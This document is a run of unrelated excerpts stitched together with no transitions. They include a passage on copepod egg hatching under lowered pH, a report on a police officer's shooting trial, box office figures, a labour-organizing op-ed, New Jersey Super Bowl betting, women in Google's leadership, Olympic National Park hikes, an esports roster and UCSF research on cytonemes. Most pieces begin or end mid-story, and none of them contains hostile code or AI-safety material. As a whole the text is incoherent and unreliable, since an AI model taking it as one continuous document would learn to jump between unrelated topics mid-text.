It is clear from the literature that there are species-specific and perhaps study-specific differences in copepod egg hatching responses to decreased pH associate with increased CO 2 concentrations. McConville et al. (2013) observed no significant difference in HS of eggs produced by female Centropages typicus and Temora longicornis in abundant food incubated in respective treatment conditions between pH 8.04 and 7.78. At pH 6.9, HS of C. typicus was reduced to about one half of control HS, whereas HS of T. longicornis was unaffected. Zhang et al. (2011) observed significantly lower HS of eggs from well-fed females of Acartia spinicauda and Centropages tenuiremis at a pH of 7.37 and 6.94. Kurihara and Ishimatsu (2008) found a significant difference in HS of eggs produced from well-fed females of Acartia tsuensis between pH 8.2 and 7.31. Kurihara et al. (2004) observed no significant difference in HS of eggs of Acartia erythraea between pH 8.15 and 7.05, but that HS was reduced at a pH of 6.8. The temperatures at which egg incubations of copepod species in these studies took place, ranging from − 1 °C (Calanus glacialis: Weydmann et al. 2012) to 27 °C (Acartia erythraea: Kurihara et al. 2004), were all within the normal habitat of the respective experimental organisms. Despite these differences among studies, in all cases there was no indication of a significant response to lower pH at increased CO 2 concentrations expected over the next century.
Cripps et al. (2014b) emphasize that results from studies of one life stage by itself cannot be used to infer species responses to future environmental conditions. The nauplius stages of copepods may, in particular, be more sensitive to pH changes (Kurihara et al. 2004). For C. finmarchicus, mounting evidence across studies including all developmental stages (e.g., Pedersen et al. 2014b; Runge et al. 2016) indicate no negative effects of lower pH, at least down to levels associated with 1500 µatm CO 2 (~ pH 7.5), at temperatures within their normal habitat range.
Kenneth D. Furr, 48, who joined the police department in 1990, is charged with several counts including assault with intent to kill, assault with a deadly weapon and solicitation in the Aug. 26, 2011 incident.
Before a courtroom full of Furr’s family, uniformed police officers and curious trial watchers, attorneys on both sides made their closing arguments Wednesday.
Prosecutors said Furr, who was off duty at the time, was irate and attacked five individuals in the vehicle by jumping on the hood of the car and shooting five rounds into the car at around 4 a.m. on First and Pierce streets NW.
Furr had repeatedly offered one of the people in the car, a transgender woman, $500 for sex, according to prosecutors. The woman refused and told one of her male friends, who approached Furr about the proposals.
Furr, prosecutors say, became angry by the interference. Prosecutors also said Furr’s blood level was nearly twice the legal limit.
Furr’s attorneys argued that their client was trying to protect himself when he was attacked by the five individuals who slammed their car into his, forcing Furr to escape by climbing out of his driver’s side window onto his hood.
Werdum spoke to Globo recently and spoke about his plans to take the fight to Nelson (translation by Orcus):
I can tell you that he'll need to keep his hands up, because a knockout might happen. He'll need to keep his hands way up, in high guard. I think I'll hit his legs a lot. Roy Nelson is very tough and can endure a lot of beating, he showed that against [Junior dos Santos], but there's always a weak spot. I'll try to look for that flaw during the fight. I think I will win with agility and mobility. I am well mentally, as well as physically, much faster and this will be determinant in this fight, due to the fact that he's slower, a fatty. It will be a very strategic fight. It's my return to the UFC, it will be very important to me. When I have the opportunity to KO or submit, I will do it. I don't like to win by points, it happens sometimes, but my prevision is this: knockout or submission. The main thing is the victory. My mom always tells me that the important thing is to raise the arm in the end (laughs).
The "fatty" line was said in a joking way, to be clear. It wasn't meant as a direct insult.
Nelson does leave some openings on the feet and we did see Werdum get some shots in on Alistair Overeem, I wouldn't be surprised at all to see him want to turn this into a three round fight on the feet.
The Thursday night number is similar to that for Relativity’s “3 Days to Kill,” which took in $325,000 in previews on its way to an opening weekend of $12.2 million last year.
The EuropaCorp release, the fourth in the “Transporter” series, is expected to bring in $9 million over the four-day Labor Day holiday. It will expand to 3,434 theaters on Friday.
“The Transporter Refueled” stars Ed Skrein, who replaces Jason Statham as Frank Martin. The film cost $22 million to produce. Camille Delamarre directed from a script by Bill Collage, Adam Cooper and Luc Besson.
“The Transporter Refueled” and the Robert Redford comedy “A Walk in the Woods” head into a typically low-key Labor Day Weekend, with neither expected to top the fourth frame of “Straight Outta Compton.” The rap biopic should come in No. 1 with $10 million, making it the first film to four-peat since “Furious 7” in April.
“A Walk in the Woods” opened to $1.2 million on Wednesday at 1,849 locations, barely edging out the 20th day of Universal-Legendary’s “Straight Outta Compton,” which earned $1.1 million, raising its cume to a sensational $137.9 million.
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The original “Transporter” opened to $9.1 million in 2002 and went on to gross $25.3 million. “Transporter 2” is the biggest film in the franchise, having reeled in $43 million at the domestic box office in 2005, followed by 2008’s “Transporter 3” with $31.7 million. “Transporter 3” also grossed $72 million internationally.
TriStar’s second weekend of faith-based drama “War Room” should bring in about $7 million during the Labor Day period, following a solid performance in its opening frame. “War Room” grossed $14.4 million at 1,335 sites in its first six days, with another 200 locations being added for its follow-up weekend.
So what can they do? Organize!
To hell with taking "no" for an answer. Although these workers are poorly paid and treated, they're rich in spirit. Told they weren't allowed to organize, they went out and did it anyway. Groups such as the Coalition of Immokalee Workers in Florida's vast agribusiness fields, the National Day Laborer Organizing Network and the National Domestic Workers Alliance have formed within occupational categories to rally and be advocates for millions of the hard-hit, previously voiceless and largely invisible people who do the back-breaking, sweaty, insecure, exhausting and thankless — yet essential — labor in our society.
Just bonding together as common laborers in this field or that has been a remarkable achievement. More remarkable, the bonds have held and attracted others to join, because the groups' actions have produced results — from wage increases and bargaining rights to republic recognition and some respect.
Now comes the most remarkable advance by these groups of "powerless" workers: They have recognized the greater power of coalition — a lesson that the larger, richer, established progressive groups need to learn, pronto. Four years ago at a gathering in Detroit, a "group of groups" organized themselves into the United Workers Congress, including nine occupational sectors: day laborers, domestic workers, farm workers, restaurant workers, formerly incarcerated workers, guest workers, restaurant workers, workers in right-to-work states, taxi drivers and workfare workers.
What they have in common is that all are excluded, either by complicit government policy or duplicitous employers, from the right to organize and bargain collectively for just treatment on the job. Instead of demanding that this right be extended to them as a legal matter, the coalition has elevated its demand to a moral level, reframing the right to organize as a fundamental human right that belongs to everyone and cannot be abrogated by law.
The human rights construct lets UWC members take their campaigns directly to the public, where their calls for justice resonate and get better support than they would inside a courtroom or legislative hall. After all, as the coalition notes, "The problems facing excluded workers are not theirs alone. The struggles they face — low wages, unstable employment and no labor protections to speak of — are the struggles of growing numbers of working class people in the United States.
With a dash of gumption and a sharp sense of old-time labor outrage, the "un-organizable" are organizing. Then, with no phony hang-ups about protecting "our turf," these young insurgent groups recognized the obvious: By teaming up, they could, in their words, "leverage power and resources that would otherwise be impossible with one sector or alliance on their own." While that's obvious, most progressive groups have seemed allergic to doing it, so there's another lesson the young are teaching.
Also, UWC is reaching beyond our borders to strengthen their coalition. Knowing that New Deal labor law will not protect them and that relentless, low-wage globalization by multinational corporations won't be stopped by appeals to corporate patriotism, the groups are forging global alliances with unions, students, human rights organizations and others. For example, they helped create a Wal-Mart Supply Chain Organizing Committee that links to activists wherever Wal-Mart goes; UWC joined the Asia Floor Wage Alliance to help gain a minimum standard of pay for garment workers across Asia; the coalition organized a massive Global Day of Action against McDonald's last year in more than 30 countries. Whether here at home or around the globe, UWC organizes its campaigns on the moral high ground of basic human rights.
Those who are wondering how we build a full-fledged Populist movement to contend with the overall rise of oligarchic corporate power in our country would be smart to go to school with the United Workers Congress (unitedworkerscongress.org).
Sweatshirt, who celebrated his 23rd birthday last Friday, has been (characteristically) quiet with new music over the last year, occasionally popping up with a new verse. He shared a King Krule-produced outtake called “Death Whistles” on his Red Bull Music Academy show last September and dropped a feature alongside Kendrick Lamar and Ab-Soul on Danny Brown’s “Really Doe” shortly after.
Off the gamblers will go, scurrying to find a spot to watch the first Super Bowl ever played in New Jersey.
Despite the efforts of Gov. Chris Christie and state lawmakers, it remains illegal for casinos and horse tracks to run sports bookmaking operations. Of course, that hardly means that millions of dollars in bets won’t be placed.
"This is the big game," said Koleman Strumpf, a business economics professor at the University of Kansas who examined the inner workings of a gambling ring in Brooklyn. "Basically, anyone who’s running an illegal sports bookmaking operation — they’re making a lot of money right now taking bets on this."
Current and former law enforcement officials say millions of dollars will be wagered illegally in New Jersey as the Seattle Seahawks face the Denver Broncos in the Meadowlands. Much of it will be funneled to overseas bookmaking operations as gamblers bet over the internet, while any wager made with a local bookie is virtually certain to pass through the hands of organized crime.
That makes this National Football League extravaganza in New Jersey a bit of an odd pairing, what with Christie and the lawmakers seeking to legalize sports betting in hopes of boosting the struggling casinos and horse tracks while removing organized crime from the cut.
For its part, the NFL — which is suing the state to stop it from making betting legal — insists that gambling belongs nowhere near organized athletic events. So far, the professional sports leagues, along with the NCAA, have prevailed in federal court, saying the betting in New Jersey would "irreparably" harm professional and amateur sports. The two sides may soon face off again, with New Jersey preparing to appeal its case to the U.S. Supreme Court next month.
To state Sen. Raymond Lesniak (D-Union), a leading supporter of legalizing sports betting, nothing smacks more of a "blown opportunity." He pointed out that last year in Nevada — one of four states where sports wagering is legal — $99 million was wagered on the Super Bowl, according to the state’s Gaming Control Board.
"We’re missing out and Nevada and organized crime are reaping the benefits," Lesniak said. "There will be cheering and packed crowds in Las Vegas and empty rooms throughout Atlantic City."
Brian McCarthy, a spokesman for the NFL, declined to comment.
In the meantime, the betting will flourish underground and — perhaps to a larger extent — in the open. It’s hard to find an office in the state where someone isn’t running a pool, putting colleagues’ names down on a few squares.
Indeed, experts say betting is woven into the fabric of American life. Even U.S. Supreme Court justices have enjoyed a good game of poker, and conducted their own pool on the 1992 presidential election.
"The Supreme Court was actually betting real money amongst themselves," Strumpf, the economist from Kansas, said.
Yet for some the notion of sports betting conjures up images of mobsters and smoke-filled wire rooms, and of wise guys who say they’ll break a guy’s leg if he doesn’t pay up. To some extent, that’s been reality, and even today many bookies are either involved with organized crime or are influenced by it, Peter Harvey, a former New Jersey attorney general, said in an interview.
"You really have to be mindful of the fact that people who run sophisticated gambling operations also have enforcement mechanisms for when someone bets and doesn’t have the money when they lose," Harvey said.
The emergence of the internet has meant betting that used to be done in person — with envelopes of cash exchanged — is now done largely on the web. It can be risky — with the possibility of having money or identities stolen — but many do it.
Vic Dante, 52, a trumpet player from Bloomfield, has been betting on the horses for three decades, though he says he avoids other sports. But not when the Super Bowl comes around, in which case he says he’ll put several hundred dollars down on Denver, using an offshore online betting account.
"I’ve been lucky," Dante said, sitting in an off-track-betting parlor in Woodbridge one recent afternoon. "I know a few guys who got screwed."
What the average bettor need not worry about is arrest. Police care little about small-time betting and, in fact, it’s not even illegal to place a bet in New Jersey — just to promote gambling or to accept bets.
"Illegal gambling is right with illegal parking," said I. Nelson Rose, a professor at Whittier Law School in Southern California, who writes about gambling on his blog, gamblingandthelaw.com. "Nobody cares about it — unless it interferes with your life."
What can be a concern is addiction, and experts say that for a handful of bettors, the rush of gambling can be too much to contain.
"It’s everywhere you go," said Donald Weinbaum, executive director of the Council on Compulsive Gambling of New Jersey. "And it’s not just the office bet, the bet with friends. Now, you turn on the news — it’s all Super Bowl. You open up the paper, it’s Super Bowl. It’s on the radio."
Arnie Wexler, who once headed the council, said he always saw a sharp jump in calls after the big game. Wexler recalled one of the more telling episodes he encountered when he received a call as the Super Bowl was starting in 1987, when the Giants defeated the Broncos.
"The guy says to me, ‘I’m in big trouble,’" Wexler recalled. "I said, ‘What happened?’ He said, ‘I bet on the coin flip.’ The guy said he couldn’t stand the pressure of waiting three hours for a result so he bet on the coin flip."
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"We said nothing. All we did was quote a certain very talented legal mind who was the one responsible for saying that on television," he said.
"You shouldn't be talking to me, you should be talking to Fox."
He also doubled down on his unproven wiretapping allegation with a reference to 2013 reports that the US listened in on Mrs Merkel's phone calls.
He said that when it comes to wiretapping, "at least we have something in common, perhaps".
Fogarty had qualified third and was three-wide with two other competitors heading towards Road America’s Turn 5 when contact sent the No. 99 Porsche hard into the wall, causing significant damage to the tub and forcing the team to scramble to find a new chassis ahead of the next round at Mid-Ohio.
Speaking from Utah Motorsports Campus where the team was conducting a shakedown test with the new Red Dragon on Wednesday, Fogarty told Sportscar365 that the timeline from identifying the extent of the damage to securing a replacement car was a short one.
“We had the guys from Porsche at our trailer immediately when they brought it back on the roller at Road America and they were pretty certain that the tub was damaged,” Fogarty said.
“We knew pretty immediately what cars were out there. We had people in the paddock as resources as well to basically tell us where to look for cars, what teams had them.
“Pretty quickly the decision was made to go out and get a good-condition used car that day, and we were able to nail one down with Alex Job. We picked it up, brought it to our shop, and the crew went to work.”
Fogarty said the car was close to being ready to go and the engine had recently been refreshed by Porsche, but the team still had plenty of work to do to make sure the car was ready to make their scheduled test in Utah this week.
“A lot of work for the crew, obviously,” said Fogarty. “The car comes looking pretty prepared but with all modern race cars there’s little odds and ends you need to take care of.
“Our data guy has probably been burdened by the biggest load. A lot of wiring and those sorts of issues that are team specific and always seem to have bugs. We were able to run more or less trouble free so all in all, great job getting us back on track quickly after Road America.
“Fortunately Terry, our team manager, has 15 years in the auto-shop business so he can paint. He did some paint work and everyone jumped in and did what they needed to do for it to run for this test.
“It was a lot of work. Even though the car was in great shape when it was delivered, we had a lot of our little bits that we wanted to put on there, some cockpit driver comfort things that needed to be transferred across. A lot of little odds and ends.
“All in all, just a lot of moving parts but everybody pitched in and it all worked out.”
While the tub did sustain damage, Fogarty said the team discovered that there were still quite a few salvageable parts and pieces off of the car that crashed at Road America.
With a replacement tub on the way, the team will soon have a full spare car at their disposal, helping to mitigate some of the burden.
Fogarty indicated that despite the size of the crash, it hasn’t proved to be that big of a setback for the team.
He said biggest disappointment was the missed opportunity for a solid result at Road America at and being forced to miss a scheduled test at Mid-Ohio.
“I wouldn’t call it huge, and a lot of that is we have a team owner who is committed and willing to step up and get back on track, and obviously that costs money,” he said. “Beyond that, I would say it’s not a very big setback.
“We were going to go straight from Road America after the race to Mid-Ohio to test for two days, so we missed that, but everything else is on schedule.
“These two days at Utah [Motorsports Campus], they stayed the same and we’re making the most of it. We’re going to load it up and go down to COTA and we’ll be testing there next week.
“Only the Mid-Ohio test is what we missed, which is too bad because we’re going to be racing there next, but everything else is on target.
“The disappointment was huge because we were having a good weekend at Road America qualifying third. But it only strengthens our resolve.
It's important to note that you're not really buying the game itself with these pre-order packages. WoT is actually free-to-play. However, gold, the in-game currency, is purchased with real world money. By grabbing one of these three pre-order packages, you're getting that gold at a discount (about 10%): Heavy Package: 25,000 gold and the unique American tank M6A2E1 for $90 (American), €75 and £63 (European)
Medium Package: 18,700 gold and the unique German tank Pz. Kpfw. V/IV for $67 (American), €56 and £47 (European)
Light Package: 12,500 gold and the unique Soviet tank A-32 for $45 (American), €38 and £32 (European) All of these packages will be available until April 12th, the game's launch date. Wargaming.net has begun accepting pre-orders for their vehicular combat MMO. Pre-ordering the game will give you bonus tanks and gold.It's important to note that you're not really buying the game itself with these pre-order packages.is actually free-to-play. However, gold, the in-game currency, is purchased with real world money. By grabbing one of these three pre-order packages, you're getting that gold at a discount (about 10%):All of these packages will be available until April 12th, the game's launch date. Blended From Around The Web Facebook
Ms. Mayer, 37, was the first woman to be an engineer at Google and ran its most profitable business, search, for years. But in 2010, she was given a new assignment that many at Google considered a demotion, and then Mr. Page removed her from his committee of close advisers.
That committee shrank from about 15 people, four of whom were women, under Eric E. Schmidt , Google’s previous chief executive, to 11 with just one woman, under Mr. Page.
Also removed from the L Team, for Larry Page, were Rachel Whetstone, who oversees communications, and Shona Brown, who oversaw business operations and now leads Google.org, the company’s philanthropic arm, a lower-profile job. Only one woman remains — Susan Wojcicki, who oversees advertising. Several men were also removed in the shuffle.
Of the seven people Mr. Page appointed to lead product areas when he reorganized the company last year, just one, Ms. Wojcicki, was a woman.
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People familiar with Mr. Page’s management style and the company’s reorganization said gender played no role in his decisions.
“Larry focused on certain products, and the people who happened to lead those products and became his direct reports were men,” said Laszlo Bock, who oversees people operations at Google.
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Many senior women remain at Google, including the director of marketing, Lorraine Twohill, and the leader of the Washington office, Susan Molinari . Google has three women on its 10-member board — Diane B. Greene, Ann Mather and Shirley M. Tilghman , all outside directors. Also, one man, Jonathan Rosenberg, former director of product management, resigned around the time of the reorganization.
“Being here so long, it has been a very supportive place for women,” said Ms. Wojcicki, who is the sister-in-law of Sergey Brin , Google’s co-founder. “The founders understood it was something that was good to build into the culture early on.”
Some women in less prominent positions say that although it is disappointing to see top women leave, they don’t feel underappreciated.
“On the ground, I think that the sentiment is still that it’s a very welcoming place for women,” said a woman who works for Google who spoke on condition of anonymity because employees are not supposed to talk to reporters without permission. “Things haven’t really changed at the lower levels of the company.”
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But others say the dearth of women at the top of Google reflects what is, over all, a male-driven engineering culture. Mr. Page values product people like himself over business people, they say, and at Google, as at many technology companies, product engineers tend to be men.
“Part of the issue is who Larry wants around him, and those are the guys he’s most comfortable with because he knows their whole engineering and computer science background,” said a former longtime senior Google employee.
Another former Google executive said, “I don’t think there’s a gender bias per se, but I think the c-suite at Google is going to belong to product owners, not business people. People witness it as a demotion of women. I don’t view it as that. I view it as a demotion of business.”
Even so, filling Mr. Page’s inner circle with men could have consequences for Google.
“Having women leaders is not just a question of equity or somehow ticking the box,” said Sylvia Ann Hewlett, who studies gender diversity and business at Columbia University and is president of the Center for Talent Innovation. “Particularly at technology companies, it really does contribute to innovation and a company’s ability to exploit new markets.”
Photo
Google is hardly alone in its struggle to attract, retain and promote technical women. The number of women working in professional computing jobs dropped 8 percent, to 25 percent of the total, between 2000 and 2011 while the number of men climbed 16 percent, according to the Bureau of Labor Statistics .
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More than half of women in technology at big companies leave midcareer, but half of those who leave stay in technical jobs, moving to the public sector or start-ups, indicating that there is something about big companies that pushes them out, said Catherine Ashcraft, senior research scientist at the National Center for Women and Information Technology.
Google’s founders hired Ms. Wojcicki, Ms. Mayer and Jen Fitzpatrick, now an engineering vice president, early; they believed they would have more luck luring technical women once several already worked there, Ms. Wojcicki said. She was pregnant when she started, so the founders promised her subsidized child care.
That continues to be a benefit at Google, as are other family-friendly perks like a $500 stipend for takeout meals after a baby is born, paid leave of up to five months for new mothers and seven weeks for new fathers, and conveniences like dry cleaners on Google’s campus so people can complete errands during the workday.
Meanwhile, there is the very Google-y approach of gathering data on precisely when the company loses women, then digging deeper to figure out what is happening and to try to fix it.
The results, Mr. Bock said, have been noticeable — at least outside the senior levels of the company. One-third of Google’s 34,300 employees are women. He would not say what percentage of technical employees were women, but he said it was better than the national average of about 25 percent.
Google’s spreadsheets, for example, showed that some women who applied for jobs did not make it past the phone interview. The reason was that the women did not flaunt their achievements, so interviewers judged them unaccomplished.
Google now asks interviewers to report candidates’ answers in more detail. Google also found that women who turned down job offers had interviewed only with men. Now, a woman interviewing at Google will meet other women during the hiring process.
A result: More women are being hired.
Once hired, technical women were not being promoted at the same rate as men. At Google, employees nominate themselves for promotions, but the data revealed that women were less likely to do so. So senior women at Google now host workshops to encourage women to nominate themselves, and they are promoted proportionally to men, Mr. Bock said.
Another time Google was losing women was after they had babies. The attrition rate for postpartum women was twice that for other employees. In response, Google lengthened maternity leave to five months from three and changed it from partial pay to full pay. Attrition decreased by 50 percent.
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Borough of Oakmont A half an hour outside of Pittsburgh sits a welcoming town that immediately conjures images of an America of long ago. The above photo shows a bird's eye view of Oakmont, including the now-demolished Hulton Bridge, a famous century-old bridge. The old Hulton Bridge gave way to the new Hulton Bridge. The New Hulton Bridge brings Oakmont into the 21st century – moving from two lanes with the old bridge to four lanes and pedestrian access on the new bridge.
Flickr/Jon Dawson Stroll along the brick-lined main street where you'll be greeted with smiles from friendly shop keepers and nods and grins greeting you from the townspeople. Shops, restaurants, and apartments dot the main street (Allegheny River Boulevard) landscape.
Flickr/Cam Miller Family is important in Oakmont and so is pride in community and country. Oakmont pays homage to its veterans and those who sacrificed their lives for the United States in each war since World War I.
Flickr/hhm8 The American flag flies proudly throughout Oakmont, including on the Oakmont Branch of the United States Post Office.
Flickr/Cam Miller And on the charming homes that line Oakmont's side streets.
Flickr/Dave Community is also important in Oakmont and the townspeople certainly know how to celebrate – whether it's hosting a Memorial Day parade to honor veterans and those who sacrificed their lives for our country, or getting the kids (and adults, too) ready for the Christmas season with a Christmas parade, a street fair, and a visit from Santa himself.
Flickr/Dave The Oakmont Branch of the Carnegie Library of Pittsburgh promises plenty of activities for everyone while its building adds unique beauty to the picture perfect landscape.
Facebook/Oakmont Country Club The Oakmont Country Club calls Oakmont home. All in the golfing world turn their eyes to Oakmont when it hosts the U.S. Open. This year, 2016, marked the most recent hosting of the golf tournament.
Flickr/Cam Miller Stroll down the quaint sidewalks of the main street in Oakmont where you'll pass eclectic shops, many locally owned and operated.
Flickr/Cam Miller Mystery fans flock to the Mystery Lovers Bookshop on Allegheny River Boulevard. The bookstore, an Oakmont staple since 1990, has earned distinction as one of the largest mystery book shops in the United States.
Flickr/Cam Miller As you roam down the main street, take a closer look at the stunning architecture of many of the buildings.
Facebook/The Oaks Theater The cozy Oaks Theater offers a quaint alternative to today's multiplex cinemas. The Oaks features films as well as concerts and other shows.
Yelp/Tamia H. Casual and fine dining restaurants abound in Oakmont. You'll probably find several you'd like to visit during your stroll.
Flickr/Cam Miller Once you've experienced all of the Oakmont section of Allegheny River Boulevard, head to the stairs in the middle of town. Descend those stairs for a few delicious surprises.
Flickr/Cam Miller A former train station greets you at the bottom of the stairs. With its lush green and bright flowers, the beautiful spot provides a spectacular backdrop for photos or selfies.
Facebook/Oakmont Bakery Just across the street you'll discover a world of delectable treats. But, fair warning, once you go in, there's no going back. You will be hooked on The Oakmont Bakery and all of its delicious cakes, cupcakes, cookies, pies, fresh breads, and other goodies. And, you will return again – and again.
Olympic is a different type of park, consisting of 95% wilderness and more than ample opportunity to find yourself on a trail completely alone, aside from the elk, goats, bear and goblins roaming the region. Hiking nearly anywhere in Olympic will provide you with solitude and unmatched beauty. But these 3 somewhat isolated trails stand out as must-experience destinations for partaking in the majesty of Olympic National Park.
1. Upper Royal Basin
Douglas Scott
The northeast corner of Olympic National Park is remote, typically hiked and explored by locals and those lucky enough to be told of the greatness that hides in its river valleys. The region, receiving far less rain than anywhere else on the normally rain-soaked Olympic Peninsula, is home to plane crashes, old mines, epic panoramas, and one particular hike that embodies the full spirit of the Olympic Mountains….
In eight miles each way, the Royal Basin trail takes adventurers through moss-filled forests, next to cascading creeks, up to an alpine lake, and across a crevasse-filled glacier to the base of the second tallest peak in the Olympic Mountain Range. Throw in one of the most remote and beautiful waterfalls in the park, and the Royal Basin hike is not just one of the best day hikes in Olympic, but maybe one of the best in the country.
Douglas Scott
Climbing 3,000 feet in around eight miles, the trail to Upper Royal basin consists of three main areas. The first, lasting about three miles, slips through mossy forests with towering trees along the Dungeness River and Royal Creek. Climbing above the Royal Creek Valley, skirting avalanche chutes and seasonal waterfalls, the trail soon deposits you into the first of four majestic valleys.
The first valley is nice, giving glimpses at some of the more remote mountains in the region. As you pass a backcountry campsite and cross over numerous log bridges and travel along picturesque little creeks, the realization that this is just one small valley out of thousands in the park hits home. As the trail leads uphill, it soon takes hikers next to Royal Lake, a small, fish-filled lake next to giant boulders and only a short trek from amazing waterfalls and glacier-flanked mountains.
From the lake, the trail splits, with one section leading toward a multi-tiered waterfall that falls 60 feet. The falls, called Royal Falls, is one of the most gorgeous backcountry waterfalls in the region, and well worth the trip off the main trail. Spreading out nearly as wide as it is tall, Royal Falls sits at the base of Mount Clark, interrupting the near silence that exists in the rest of the valley, as it showers down.
Douglas Scott
The other trail from Royal Lake leads to the Upper Royal Basin, home to an out-of-this-world rocky pocket at the base of Mount Deception, the second tallest peak in the Olympic Mountain Range. With glaciers, crevasses, deep blue glacial tarns and a handful of rugged and rocky mountains to climb, the views and experiences in this area are fantastic. With otherworldly views, exploring Upper Royal basin caps off the multi-terrain trail of Royal Basin. As you stand over an ancient glacier at the foot of Mount Deception, recall the journey that led you here, and bask in the solitude.
2. Gladys Divide
Douglas Scott
In the forgotten southeast corner of the Olympic Peninsula, there is a hike leading from the only ranger station along the Hood Canal region of Olympic National Park rises above the powerful and beautiful North Fork of the Skokomish River. At 20 miles round trip, with over 4,000 feet of elevation gain, the path leading to Gladys Divide counterintuitively gets less tiring with every additional mile, as the terrain opens up, exposing fantastic views of the entire Olympic interior, making you forget about your pumping heart and heaving lungs. While long and difficult, the experiences one has while hiking to Gladys Divide give a better insight into just what the human body is capable of accomplishing.
Starting along the Skokomish River and ending near the start of the Hamma Hamma River, this trail gives you forests, waterfalls, lakes, valleys, snowcapped, rugged mountains and panoramic views that will make you drool. Except for August and September, Gladys Divide is rarely hiked, making this trail one of the best hikes in the Staircase Region of Olympic National Park. The first seven miles of the trail follows the Flapjack Lakes Trail, wandering past Donahue Creek Falls and next to the gorgeous twin lakes of Flapjack lakes. While awesome, blow past the lakes and keeping heading up toward Gladys Divide.
Douglas Scott
The trail to Gladys Divide is three miles long, but feels much shorter, thanks to impressive views of the ridiculously craggy Olympic Mountains. Passing near the Olympic’s Sawtooth Mountains, the trail gains elevation, skirting a ridge, eventually capping off at the divide, overlooking the start of the Hamma Hamma River. Take in this view before exploring a small path to your right, which gets you to the top of Mount Gladys and world class views of the entire Olympic Peninsula.
3. Lake of the Angels
Lake of the Angels is a tough 8 mile roundtrip hike. Tucked in the remote hills of the Olympic Mountains, in the shadow of Mount Skokomish, Lake of the Angels is nearly 5,000 feet above the Hamma Hamma River and sits against the prettiest mountain backdrop in the Olympic National Park. With smoothed-out boulders from glacial activity, rugged peaks, beautiful waterfalls, and an abundant mountain goat and marmot population, this destination is the next big thing for hikers in the state of Washington.
Following the Carl Putvin Trail in the Hamma Hamma River Valley, the path to Lake of the Angels quickly follows the contours of numerous small seasonal runoffs, eventually placing you at the base of a root-covered headwall that is easy to climb over. From here, the trail opens up through wildflower-filled basins, eventually leading to a small valley named “The Valley of Heaven.” Passing the majestic views of Mount Skokomish reflecting off of the Lake of the False Prophets, the trail continues, crossing onto the National Park before the last steep section of the hike.
As you climb the final hill, the valley opens up and soon you are within sight of the Lake of the Angels, sitting perfectly below the once glacier-flanked, now rocky-sided, Mount Skokomish. Mountain goats and marmots greet hikers, who can sit on rounded rocks along the lakeshore, taking in the gloriousness of the natural beauty of Olympic National Park.
Get all the details on the Overwatch League in our dedicated story.
Interested in one of the other teams? Here you go:
Dallas Fuel|LAGladiators|LAValiant
San Francisco Shock|Seoul Dynasty | Shanghai Dragons
Philadelphia Fusion | Houston Outlaws|London Spitfire
New York Excelsior| Florida Mayhem
Boston Uprising team information
Owners: Robert Kraft and the Kraft Group
Kraft is the chairman and CEO of the Kraft Group, a company dealing in both the paper and packing industry and owners of several sporting teams and arenas, including the New England Patriots. Overwatch is the first esport that the business has invested in.
Division: Atlantic
Social links: Twitter,Facebook, Instagram, YouTube
Boston Uprising roster
Uprising’s roster features a range of players from a variety of nations and sporting backgrounds. They mostly all hail from very different teams, including Toronto Esports and Luminosity Gaming Evil.
Nam-joo ‘Striker’ Kwon, DPS, South Korea
Stanislav ‘Mistakes’ Danilov, DPS, Russia
Jonathan ‘DreamKazper’ Sanchez, DPS, USA
Lucas ‘NotE’ Meissner, Flex, Canada
Woo-yeol ‘Kalios’ Shin, Fles, South Korea
Yeong-jin ‘Gamsu’ Noh, Tank, South Korea
Mikias ‘Snow’ Yohannes, Support, Ethiopia
Kristian ‘Kellex’ Keller, Support, Denmark
Se-hyeon ‘Neko’ Park, Support, South Korea
Connor ‘Avast’ Prince, Support, USA
Supporting the team will be head coach Da-hee ‘Crusty’ Park, along with assistant coaches Jackson ‘Shake’ Kaplan and Rollon ‘Mini’ Hamelin. On analyst duties is Mohid ‘MrBleeple’ Asjid, while Chris ‘HuK’ Loranger acts as the team’s President of Gaming. HuK did an AMA on Twitter at the end of 2017 where he talked about the process of putting the team together, reaction to their preseason results, and more.
Boston Uprising skins
Uprising have adopted a striking blue and yellow colour scheme for their team uniform, which bares a little resemblance to Torbjorn’s Tre Kronor skin. Here’s a look at their jersey and t-shirt:
Thomas B. Kornberg, PhD
The mechanism is similar to the way neurons communicate with other cells, and contrasts the standard understanding that non-neuronal cells “basically spit out signaling proteins into extracellular fluid and hope they find the right target,” said senior investigator Thomas B. Kornberg, PhD, a professor of biochemistry with the UCSF Cardiovascular Research Institute.
The paper was published on January 2, 2014 in Science.
Working with living tissue from Drosophila – fruit flies – Kornberg and his team demonstrated that cells send out long, thin tubes of cytoplasm called cytonemes, which Kornberg said “can extend across the length of 50 or 100 cells” before touching the cells they are targeting. The point of contact between a cytoneme and its target cell acts as a communications bridge between the two cells.
“It’s long been known that neurons communicate in a similar way – by transferring signals at points of contact called synapses, and transmitting the response over long distances in long tubes called axons,” said Kornberg. “However, it’s always been thought that this mode of signaling was unique to neurons. We have now shown that many types of animal cells have the same ability to reach out and synapse with one another in order to communicate, using signaling proteins as units of information instead of the neurotransmitters and electrical impulses that neurons use.”
In fact, said Kornberg, “I would argue that the only strong experimental data that exists today for a mechanism by which these signaling proteins move from one cell to another is at these points of contact and via cytonemes.”
However, he noted, “There are 100 years worth of work and thousands of scientific papers in which it has been simply assumed that these proteins move from one cell to another by moving through extracellular fluid. So this is a fundamentally different way of considering how signaling goes on in tissues.”
Working with cells in the Drosophila wing that produce and send the signaling protein Decapentaplegic (Dpp), Kornberg and his team showed that Dpp transfers between cells at the sites where cytonemes form a connection, and that cytonemes are the conduits that move Dpp from cell to cell.
The scientists discovered that the sites of contact have characteristics of synapses formed by neurons. They demonstrated that in flies that had been genetically engineered to lack synapse-making proteins, cells are unable to form synapses or signal successfully.
“In the mutants, the signals that are normally taken up by target cells are not taken up, and signaling is prevented,” said Kornberg. “This demonstrates that physical contact is required for signal transfer, signal uptake and signaling.”
Kornberg said that a major reason that animal cell cytonemes had not been observed or studied previously is because these structures are too fragile to survive traditional laboratory methods of preparing cells for imaging. “During the last decade or so, though, there have been fantastic technical advances, including new techniques in genetic engineering, new microscopes that improve the resolution and sensitivity for imaging living cells and the development of fluorescent marker proteins that we can attach to proteins of interest.”
Using these new technologies, Kornberg and his team have captured vivid images, and even movies, of fluorescent signaling proteins moving through fluorescently marked cytonemes.
